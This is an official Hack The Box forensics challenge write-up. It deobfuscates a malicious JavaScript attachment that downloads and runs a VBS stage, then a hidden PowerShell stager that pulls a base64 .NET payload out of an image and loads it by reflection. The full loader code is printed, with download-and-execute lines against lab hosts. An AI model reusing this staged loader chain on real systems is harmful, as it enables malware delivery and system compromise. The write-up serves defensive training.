



HACKTHEBOX



Getting Closer

20th November 2023 / Document No. D23.102.103

Prepared By: `thewildspirit`

Challenge Author(s): `thewildspirit`

Difficulty: **Easy**

Classification: Official

Synopsis

- Getting closer is an easy forensics challenge that involves analyzing a malicious JS attachment leading to VBS and PowerShell code execution.

Description

- Tasked with defending the antidote's research, a diverse group of students united against a relentless cyber onslaught. As codes clashed and defenses were tested, their collective effort stood as humanity's beacon, inching closer to safeguarding the research for the cure with every thwarted attack. A stealthy attack might have penetrated their defenses. Along with the Hackster's University students, analyze the provided file so you can detect this attack in the future. *Note:** Make sure you edit `/etc/host` so that any hostnames found point to the Docker IP.

Skills Required

- Familiarity with malware delivery techniques

Skills Learned

- Analyzing malicious Java-Script code
- Analyzing malicious VBS code

- Analyzing malicious PowerShell code
- Extracting hidden payloads

Enumeration

Players are given the following file:

- **vaccine.js**: Malicious JS attachment.

Opening this file, we immediately notice that it is heavily obfuscated. The code contains 2 functions that are never used, and a few lines that are executed as can be seen below.

```

var
l0LMCBgGDMoInlotrw0CsILGbkWbtzwlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiSc0eJegcwcjNbnqGNXuTbtsxWGWwICjWnbUbbSrdUVFqffbkvjTg
FhvQddrraBIRyWfNferCZkSxFapZwPgmIRIyaedLHpBn0vnVBXwzWPx0QJgZModJeUo = new ActiveXObject("MSXML2.XMLHTTP.6.0");
var
JzmzxutRESvvnBNHRMgpQhJAmcuQNZnBjwAbLtjLBpXoSGrvUCnwRERYDvVBastJacHxICmpg0WJgUwSRXRwqAFfBpuXfuvQKeSHGMMiEVLNOXDrsiBQmKtBgrFvFn0EJvhaUP
RshWHJXFQABJnHSqYrABIANvQjFELrbSrEiIgZCJnSHULYQEbKNziGHMLUioWWRPGw = new ActiveXObject("Scripting.FileSystemObject");
var
CBZgIjkhFADIgnNwHIVgtNUBrjVwafHrRLSEDPUsurmjNaNRlTVdJdozVfFzVMHzjpdEoPlokyPcunDXLgZbCcQToMaDqHieSCKYfzqatlzDRQLBtqFKLLIFmxbDebsFmXdh
iHTVgzMwEYMQzotmHetcmtiYuMu0QqaEEejfRnHyuiJAKwFYKwLrvfTVaxVzqMtwO = new ActiveXObject("WScript.Shell");
var
AWgjPuudKwauFcdsGLXcfGBXLwzhGnugaLFEZJkXlJTIiTlWxLziYRhZkEfDwJZiyWUhbJhdauLcmVYllmbyxEpozeZhAVxCXCLTUUNYngPYhWtCyNovmwukeWsnLJLifhi
hpqYKHbzEQIKnuNqTCdJWSnzLEIEhoNPhzhAXLCkxsMeeRXRsGrNce0SicnFkMhnoj = 'C:\\Windows\\Temp';
var
iQXNRUYfNRSDeYTqnnkAIHw0oixZyicXoPiSDdsVvMnUvRWDdAoPhJQ0DSZHHiYLhONKLMuCrHuXfnB0fSXYQRqtLzvJanjLYDvJPKIZZBBxzIPXbVvziIVfxtXKEUaPQjQS
hbHdYcntUkfcfQYGuZAbsGwzJAUvAZLujabnpPtDdTLZeepJmpUIpLJlfxCeTPLhbiName =
JzmzxutRESvvnBNHRMgpQhJAmcuQNZnBjwAbLtjLBpXoSGrvUCnwRERYDvVBastJacHxICmpg0WJgUwSRXRwqAFfBpuXfuvQKeSHGMMiEVLNOXDrsiBQmKtBgrFvFn0EJvhaUP
RshWHJXFQABJnHSqYrABIANvQjFELrbSrEiIgZCJnSHULYQEbKNziGHMLUioWWRPGw.BuildPath(AWgjPuudKwauFcdsGLXcfGBXLwzhGnugaLFEZJkXlJTIiTlWxLziYRh
ZkEfDwJZiyWUhbJhdauLcmVYllmbyxEpozeZhAVxCXCLTUUNYngPYhWtCyNovmwukeWsnLJLifhihpqYKHbzEQIKnuNqTCdJWSnzLEIEhoNPhzhAXLCkxsMeeRXRsGrNce
0SicnFkMhnoj,
iQXNRUYfNRSDeYTqnnkAIHw0oixZyicXoPiSDdsVvMnUvRWDdAoPhJQ0DSZHHiYLhONKLMuCrHuXfnB0fSXYQRqtLzvJanjLYDvJPKIZZBBxzIPXbVvziIVfxtXKEUaPQjQS
hbHdYcntUkfcfQYGuZAbsGwzJAUvAZLujabnpPtDdTLZeepJmpUIpLJlfxCeTPLhbiName);
JzmzxutRESvvnBNHRMgpQhJAmcuQNZnBjwAbLtjLBpXoSGrvUCnwRERYDvVBastJacHxICmpg0WJgUwSRXRwqAFfBpuXfuvQKeSHGMMiEVLNOXDrsiBQmKtBgrFvFn0EJvhaUP
RshWHJXFQABJnHSqYrABIANvQjFELrbSrEiIgZCJnSHULYQEbKNziGHMLUioWWRPGw.BuildPath(AWgjPuudKwauFcdsGLXcfGBXLwzhGnugaLFEZJkXlJTIiTlWxLziYRh
ZkEfDwJZiyWUhbJhdauLcmVYllmbyxEpozeZhAVxCXCLTUUNYngPYhWtCyNovmwukeWsnLJLifhihpqYKHbzEQIKnuNqTCdJWSnzLEIEhoNPhzhAXLCkxsMeeRXRsGrNce
0SicnFkMhnoj,
iQXNRUYfNRSDeYTqnnkAIHw0oixZyicXoPiSDdsVvMnUvRWDdAoPhJQ0DSZHHiYLhONKLMuCrHuXfnB0fSXYQRqtLzvJanjLYDvJPKIZZBBxzIPXbVvziIVfxtXKEUaPQjQS
hbHdYcntUkfcfQYGuZAbsGwzJAUvAZLujabnpPtDdTLZeepJmpUIpLJlfxCeTPLhbiName);
l0LMCBgGDMoInlotrw0CsILGbkWbtzwlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiSc0eJegcwcjNbnqGNXuTbtsxWGWwICjWnbUbbSrdUVFqffbkvjTg
FhvQddrraBIRyWfNferCZkSxFapZwPgmIRIyaedLHpBn0vnVBXwzWPx0QJgZModJeUo.open("GET", "http://infected.human.htb/d/BktQR", false);
l0LMCBgGDMoInlotrw0CsILGbkWbtzwlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiSc0eJegcwcjNbnqGNXuTbtsxWGWwICjWnbUbbSrdUVFqffbkvjTg
FhvQddrraBIRyWfNferCZkSxFapZwPgmIRIyaedLHpBn0vnVBXwzWPx0QJgZModJeUo.send();

if
(l0LMCBgGDMoInlotrw0CsILGbkWbtzwlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiSc0eJegcwcjNbnqGNXuTbtsxWGWwICjWnbUbbSrdUVFqffbkvjT
gFhvQddrraBIRyWfNferCZkSxFapZwPgmIRIyaedLHpBn0vnVBXwzWPx0QJgZModJeUo.status === 200) {
    var scriptText =
l0LMCBgGDMoInlotrw0CsILGbkWbtzwlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiSc0eJegcwcjNbnqGNXuTbtsxWGWwICjWnbUbbSrdUVFqffbkvjTg
FhvQddrraBIRyWfNferCZkSxFapZwPgmIRIyaedLHpBn0vnVBXwzWPx0QJgZModJeUo.responseText;
    var
niyXKlJcZNIENaUxwYB0DsAbUBFKCJJDbfyisBKTJpULTjrXSJIFBuGwkcmuhgDVdoSEMjPHvMzQIawcsBNhsfKbJlyQjzKLgnECDBAprhNSnXpNJwbwMQZwJFAaxCQavQs
DuRRIYXARrTg0jQgNHKgerFZvrghSUylvwuvszeCUHwva0xTjgJDUzNCjCHYBnfbG0X =
JzmzxutRESvvnBNHRMgpQhJAmcuQNZnBjwAbLtjLBpXoSGrvUCnwRERYDvVBastJacHxICmpg0WJgUwSRXRwqAFfBpuXfuvQKeSHGMMiEVLNOXDrsiBQmKtBgrFvFn0EJvhaUP
RshWHJXFQABJnHSqYrABIANvQjFELrbSrEiIgZCJnSHULYQEbKNziGHMLUioWWRPGw.CreateTextFile(l0XNRUYfNRSDeYTqnnkAIHw0oixZyicXoPiSDdsVvMnUvRWDdAoPh
JQ0DSZHHiYLhONKLMuCrHuXfnB0fSXYQRqtLzvJanjLYDvJPKIZZBBxzIPXbVvziIVfxtXKEUaPQjQShbHdYcntUkfcfQYGuZAbsGwzJAUvAZLujabnpPtDdTLZeepJm
pUIpLJlfxCeTPLhbi, true);

    niyXKlJcZNIENaUxwYB0DsAbUBFKCJJDbfyisBKTJpULTjrXSJIFBuGwkcmuhgDVdoSEMjPHvMzQIawcsBNhsfKbJlyQjzKLgnECDBAprhNSnXpNJwbwMQZwJFAaxCQavQ
sDuRRIYXARrTg0jQgNHKgerFZvrghSUylvwuvszeCUHwva0xTjgJDUzNCjCHYBnfbG0X.write(scriptText);

    niyXKlJcZNIENaUxwYB0DsAbUBFKCJJDbfyisBKTJpULTjrXSJIFBuGwkcmuhgDVdoSEMjPHvMzQIawcsBNhsfKbJlyQjzKLgnECDBAprhNSnXpNJwbwMQZwJFAaxCQavQ
sDuRRIYXARrTg0jQgNHKgerFZvrghSUylvwuvszeCUHwva0xTjgJDUzNCjCHYBnfbG0X.close();
    var
kFDpRbkGyZMjxpDvpsBUMwdrZQYKzHzicYnHeVAsyBEREEExScslrucnQomSurYvoaVCTlMrbSKgYeYCBiPqVYDhr0fNudYGDYmDMHXaJRqZfRmNBivjAFdHqctMg00YtBLI
zTfMwiDriqYXdfJ0RQtNlVwEfumyikULcvhUBQ0ztBlzheoLivROSUFkYoEgWpzuyVe =
CBZgIjkhFADIgnNwHIVgtNUBrjVwafHrRLSEDPUsurmjNaNRlTVdJdozVfFzVMHzjpdEoPlokyPcunDXLgZbCcQToMaDqHieSCKYfzqatlzDRQLBtqFKLLIFmxbDebsFmXdh
iHTVgzMwEYMQzotmHetcmtiYuMu0QqaEEejfRnHyuiJAKwFYKwLrvfTVaxVzqMtwO.Exec('wscript "' +
iQXNRUYfNRSDeYTqnnkAIHw0oixZyicXoPiSDdsVvMnUvRWDdAoPhJQ0DSZHHiYLhONKLMuCrHuXfnB0fSXYQRqtLzvJanjLYDvJPKIZZBBxzIPXbVvziIVfxtXKEUaPQjQS
hbHdYcntUkfcfQYGuZAbsGwzJAUvAZLujabnpPtDdTLZeepJmpUIpLJlfxCeTPLhbi + "'");
    while
(kFDpRbkGyZMjxpDvpsBUMwdrZQYKzHzicYnHeVAsyBEREEExScslrucnQomSurYvoaVCTlMrbSKgYeYCBiPqVYDhr0fNudYGDYmDMHXaJRqZfRmNBivjAFdHqctMg00YtBL
IzTfMwiDriqYXdfJ0RQtNlVwEfumyikULcvhUBQ0ztBlzheoLivROSUFkYoEgWpzuyVe.status === 0) {
        WScript.Sleep(100);
    }

    JzmzxutRESvvnBNHRMgpQhJAmcuQNZnBjwAbLtjLBpXoSGrvUCnwRERYDvVBastJacHxICmpg0WJgUwSRXRwqAFfBpuXfuvQKeSHGMMiEVLNOXDrsiBQmKtBgrFvFn0EJvhaU
PRshWHJXFQABJnHSqYrABIANvQjFELrbSrEiIgZCJnSHULYQEbKNziGHMLUioWWRPGw.DeleteFile(iQXNRUYfNRSDeYTqnnkAIHw0oixZyicXoPiSDdsVvMnUvRWDdAoPh
JQ0DSZHHiYLhONKLMuCrHuXfnB0fSXYQRqtLzvJanjLYDvJPKIZZBBxzIPXbVvziIVfxtXKEUaPQjQShbHdYcntUkfcfQYGuZAbsGwzJAUvAZLujabnpPtDdTLZeepJmpUI
pLJlfxCeTPLhbi);
} else {
    WScript.Echo("Fatal: " +
l0LMCBgGDMoInlotrw0CsILGbkWbtzwlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiSc0eJegcwcjNbnqGNXuTbtsxWGWwICjWnbUbbSrdUVFqffbkvjTg
FhvQddrraBIRyWfNferCZkSxFapZwPgmIRIyaedLHpBn0vnVBXwzWPx0QJgZModJeUo.status);
}

```

Although it seems hard to read, the only obfuscation technique used is replacing variable and function names with large random strings. To be able to read it, we need to replace the variables with simple names.

```

var HTTPObject = new ActiveXObject("MSXML2.XMLHTTP.6.0");
var FileSystemObject = new ActiveXObject("Scripting.FileSystemObject");
var ShellObject = new ActiveXObject("WScript.Shell");
var TmpPath = 'C:\\Windows\\Temp';
var Filename = FileSystemObject.GetTempName() + ".vbs";
var FilePath = FileSystemObject.BuildPath(TmpPath, Filename);
HTTPObject.open("GET", "http://infected.human.htb/d/BKtQR", false);
HTTPObject.send();

if (HTTPObject.status === 200) {
    var scriptText = HTTPObject.responseText;
    var FileHandle = FileSystemObject.CreateTextFile(FilePath, true);
    FileHandle.write(scriptText);
    FileHandle.close();
    var ExecutionHandle = ShellObject.Exec('wscript "' + FilePath + '"');
    while (ExecutionHandle.Status === 0) {
        WScript.Sleep(100);
    }
    FileSystemObject.DeleteFile(FilePath);
} else {
    WScript.Echo("Fatal: " + HTTPObject.status);
}

```

Now we can easily read the code. To sum up, the attacker downloads what seems to be a `VBS` file, saves it on the temp folder, and executes it. The malicious `VBS` file is downloaded from this URL `http://infected.human.htb/d/BKtQR`. By accessing this link, we can continue to the second step.

Since the second step is even more heavily obfuscated, the screenshot below can be seen as only a small part of the script.

```

on error resume next

iNVtSaitDqYDXJPxCfHWEAGYpemRZOHLsLIzccaealttVdCTUqMsJwWxzGzqbWJPBsFmAiyBdCUmDERCJhFpNugssgEeEfUuxLBqt0DyIAbXsCkFaBkqihZAoxURjiseVzLxwJ
UwdDMYkQie0hEfaMsBsVUxwRIIYumjFLLGFCwpaHHHySoCLcFnuaZhKvLWGH0nYCUQVSAeQRYgxSKGZX

bBMSegDXWzWYkcbZGwWQtGEGIVlIXudncyWQU0tMJjqXcTpQRfcltWEspffBrIQxLCWyiWmjgqewZnYmjLXlyubzhCvrVKRXBZwPcZBGVdocfIkWUQwXnrrByMhTGTZdggoh
wHAZlvRetLgZjm0BZavjieAHivCpErXkrDYXXfFqLVrhByAZjPwIBL:ktWMhVvYURXjUIKtxhKqmcvExBWyIPxlnUaaUqEhWQYVZxxbldsZHoDhbZIJHyVlRVqPJUWz0Aufds
iImMzZ = " "
dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqLGkA0Ii0:CpBIhAVXkwtYAYlrFmTeXHopPLYLoHhHtDaysxBQVjyzsv0bcTVjMbN:CpBIhAVXkwtYAYlrFmTeXHopPLYLoHhHtDays
xBQVjyzsv0bcTVjMb =
"bmnVUwD":uyXepXfituwtWMhVvYURXjUIKtxhKqmcvExBWyIPxlnUaaUq:qSQCGrePhAfCRReMhvmGLwtLvcWqUCiAyqsZyY0p0IXbGruLZvpKmQRrqRLzi0ocSLSZyyURrG
TLriyLKUeCKSRGfbdLCEqx:

dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqLGkA0Ii0:CpBIhAVXkwtYAYlrFmTeXHopPLYLoHhHtDaysxBQVjyzsv0bcTVjMbN:CpBIhAVXkwtYAYlrFmTeXHopPLYLoHhHtDays
xBQVjyzsv0bcTVjMb =
"bmnVUwD":uyXepXfituwtWMhVvYURXjUIKtxhKqmcvExBWyIPxlnUaaUq:qSQCGrePhAfCRReMhvmGLwtLvcWqUCiAyqsZyY0p0IXbGruLZvpKmQRrqRLzi0ocSLSZyyURrG
TLriyLKUeCKSRGfbdLCEqx:

dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqLGkA0Ii0:CpBIhAVXkwtYAYlrFmTeXHopPLYLoHhHtDaysxBQVjyzsv0bcTVjMbN:CpBIhAVXkwtYAYlrFmTeXHopPLYLoHhHtDays
xBQVjyzsv0bcTVjMb =
"bmnVUwD":uyXepXfituwtWMhVvYURXjUIKtxhKqmcvExBWyIPxlnUaaUq:qSQCGrePhAfCRReMhvmGLwtLvcWqUCiAyqsZyY0p0IXbGruLZvpKmQRrqRLzi0ocSLSZyyURrG
TLriyLKUeCKSRGfbdLCEqx:

dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqLGkA0Ii0:CpBIhAVXkwtYAYlrFmTeXHopPLYLoHhHtDaysxBQVjyzsv0bcTVjMbN:CpBIhAVXkwtYAYlrFmTeXHopPLYLoHhHtDays
xBQVjyzsv0bcTVjMb =
"bmnVUwD":uyXepXfituwtWMhVvYURXjUIKtxhKqmcvExBWyIPxlnUaaUq:qSQCGrePhAfCRReMhvmGLwtLvcWqUCiAyqsZyY0p0IXbGruLZvpKmQRrqRLzi0ocSLSZyyURrG
TLriyLKUeCKSRGfbdLCEqx:

dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqLGkA0Ii0:CpBIhAVXkwtYAYlrFmTeXHopPLYLoHhHtDaysxBQVjyzsv0bcTVjMbN:CpBIhAVXkwtYAYlrFmTeXHopPLYLoHhHtDays
xBQVjyzsv0bcTVjMb =
"bmnVUwD":uyXepXfituwtWMhVvYURXjUIKtxhKqmcvExBWyIPxlnUaaUq:qSQCGrePhAfCRReMhvmGLwtLvcWqUCiAyqsZyY0p0IXbGruLZvpKmQRrqRLzi0ocSLSZyyURrG
TLriyLKUeCKSRGfbdLCEqx:

```

Again, we notice large and random variable names, random variable names being declared and not being used later on in the code. Renaming and removing the unused variables will help us understand the script better.

```
obfuscated_variable =
"Jem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVQByem9tYmllcGwem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJwBo
em9tYmllcHQem9tYmllcdem9tYmllcBwem9tYmllcDoem9tYmllcLwem9tYmllcvem9tYmllcGkem9tYmllcbgBmem9tYmllcGUem9tYmllcYwB0em9tYmllcGUem9tYmllcZ
em9tYmllcem9tYmllcuem9tYmllcGgem9tYmllcdQBtem9tYmllcGEem9tYmllcbgem9tYmllcuem9tYmllcGgem9tYmllcdem9tYmllcBiem9tYmllcC8em9tYmllcVwBKem
9tYmllcHYem9tYmllcZQBem9tYmllcDcem9tYmllcQBhem9tYmllcGcem9tYmllcbQB" & a & b & a &
"em9tYmllcFEem9tYmllcNgBHem9tYmllcHcem9tYmllcXwem9tYmllcxem9tYmllcDYem9tYmllcOQem9tYmllc4em9tYmllcDcem9tYmllcNgem9tYmllcyem9tYmllcDYe
m9tYmllcNem9tYmllcem9tYmllcyem9tYmllcC4em9tYmllcagBwem9tYmllcGcem9tYmllcJwem9tYmllc7em9tYmllcCQem9tYmllcdwBlem9tYmllcGIem9...
[SNIP]..."
obfuscated_variable = Replace( obfuscated_variable, a + b + a , "P")
powershell_command = powershell_command & StrReverse("ys[ = d")
powershell_command = powershell_command & StrReverse("eT.mets")
powershell_command = powershell_command & StrReverse("ocne.tx")
powershell_command = powershell_command & StrReverse("::jgnid")
powershell_command = powershell_command & StrReverse("edocinU")
powershell_command = powershell_command & StrReverse("rtSteG.")
powershell_command = powershell_command & StrReverse("gni")
...[SNIP]...
powershell_command = powershell_command &
"dbzFGZtRYqCBgefVwmDfUznLpaQQTIAMcveTJekTjNZjNfCJawQsxxvTLaqAKZUciNLcQgVQFoKfnXYUTp0aNcbqsaDpdjNnDjymwidWxLLmZRoJmxzHcFtMNHFLqYxcpgF
pHTQIJoIsDKyGfH0hIUsFhmYGpMthYXYriuBkzrHLGxHgtw0VBcJpaoSYXwYihoBDwDRSCDEGplfmoDjPrgYmdej10xRRTwXXqUxtEpkdzbFGZtRYqCBgefVwmDfUznLpaQQT
TIAMcveTJekTjNZjNfCJawQsxxvTLaqAKZUciNLcQgVQFoKfnXYUTp0aNcbqsaDpdjNnDIhwIWLHovZEyZuwgHbTGWmVrwjPwojiuZPXGPNkWzSsIhW0ckYJSLGuGYaBQbd
omrjcmnDF"
powershell_command = powershell_command & "ZVNWqVGjwxwKYdAuCBFCwdFvnAC''))";
powershell_command = Replace(powershell_command,
"TIJoIsDKyGfH0hIUsFhmYGpMthYXYriuBkzrHLGxHgtw0VBcJpaoSYXwYihoBDwDRSCDEGplfmoDjPrgYmdej10xRRTwXXqUxtEpkdzbFGZtRYqCBgefVwmDfUznLpaQQT
IAMcveTJekTjNZjNfCJawQsxxvTLaqAKZUciNLcQgVQFoKfnXYUTp0aNcbqsaDpdjNnD", "e")
powershell_command = Replace(powershell_command,
"YdiouvqyjTDXTaRYzrOrPtPSPEkGydtHpsDzuMmtvwWDgfonHmLbiWofBzfzWwPCyghETBLJtSXhZTteJymwidWxLLmZRoJmxzHcFtMNHFLqYxcpgFpHeIhwIWLHovZEyZu
wghbTGWmVrwjPwojiuZPXGPNkWzSsIhW0ckYJSLGuGYaBQbdomrjcmnDFZVNWqVGjwx", "o")
powershell_command = Replace(powershell_command,
"ZjJMuH0yflrFRZQLRAMEjVORkrLmnSCXRqVNBlinQttavYGXNkmWkKgLukPrukNzoStcKiPTtLSLTzBLKqBLvCxwvfYDUEJVRbZAqnPXJFfwKgaKoaTyXvWlKtaXauDNHv
gmoqbgdj0oBAwieAaxhmIQTGWVjowvkJpSMpEPnfitrQGRfXaVLxUPAmLRGwRAEgjqTg", "s")
powershell_command = Replace(powershell_command,
"SjnkKcLLmbtUbEphNmdQTEfXfhHYXgQvKXvohDxuaGQdsTVSnrqEPEsLadRQxDbbQFawzRYThIFGZFjDIAEWMnWgxyLATxLKfXLJGtQgEqLXrEBLbdufuqlrgvcKaQaux
xmISlInqdFxetxSvuwcvtQZLRnsnrezMZamRBgFTQGJcmEpKQISyYXRLVbdBQEdwdle", "t")
powershell_command = Replace(powershell_command,
"VXIxBYQSKDryEAULIfGtTdegkaavJdWnPtXZLxmbYRZbRztkgJXwSKYsPfdAvLjUlQqikfohaKubLssSrhTyIatsqjlfjIBXVfmwFkQYIyCtYmjprSEKIZpcAdoVBTPRw
uxasqmXyYvnhQLXgZBCYBqoLLMBaNBIsPDogrWvPdQLBBtHAGkUozkbMEJZIHTuILxx", "a")
...[SNIP]...
powershell_command = powershell_command & StrReverse("DxujW0$ dnammoc- eliforPoN- ssapyb ycilopnoitucexe- neddiH elytswodniw-
exe.llehsrewop")
script_object.Run "powershell -command " & powershell_command, 0, False
```

Things we have to note so far:

- Replace obfuscation techniques have been used.
- A PowerShell command is being created.
- The PowerShell command is executed at the end.

We can either continue using a static analysis approach or we can continue our analysis dynamically. The easier way is the dynamic one and we will use it for this writeup.

Saving the code into a file called `malicious.vbs` we can debug it by using `cscript.exe` as follows:

```
cscript.exe //X malicious.exe
```

And by placing a breakpoint at the last line we can see the content of the variable that is being passed as an argument to the `Run` function.

To deobfuscate it, and learn what the attacker is trying to execute we need to:

- Replace `em9tYm1lc` with `A`.
- Base64-decode it.

We can use cyber chef for this:

[illegible]

The final PowerShell script can be seen here:

```
$imageUrl = 'http://infected.zombie.htb/WJveX7lagn0Q6Gw_1698762642.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>';$endFlag = '<<BASE64_END>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('ZDVkZmYyMmIXN2VlTmN0dGtNWm3NC1jOTM0LWQ3M2MyYTYzPW5la290JmFpZGVtPXR5YT90eHQucmVmc25hcnQvb3Y5b2tMudG9wczBwYS5mOTNjNiNibmRlY2F0L2IvMHYvbW9jLnNpcGF1bGdvb2cuZWdhcm90c2V2YWJlcmLmLmY86c3B0dGg=', 'dfdfd', 'dfdf', 'dfdf', 'dadsa', 'de', 'cu'))
```

- It downloads an image from this URL:
`http://infected.zombie.htb/WJveX71agmOQ6Gw_1698762642.jpg`
- It carves out an embedded base64 string starting from the offset `<<BASE64_START>>` until `<<BASE64_END>>`.
- Base64 decodes it.
- Executes it using reflection.

Solution

We can download the image from the previously found link and carve out the base64 string using just an editor.

By decoding it we can see the flag.

[illegible]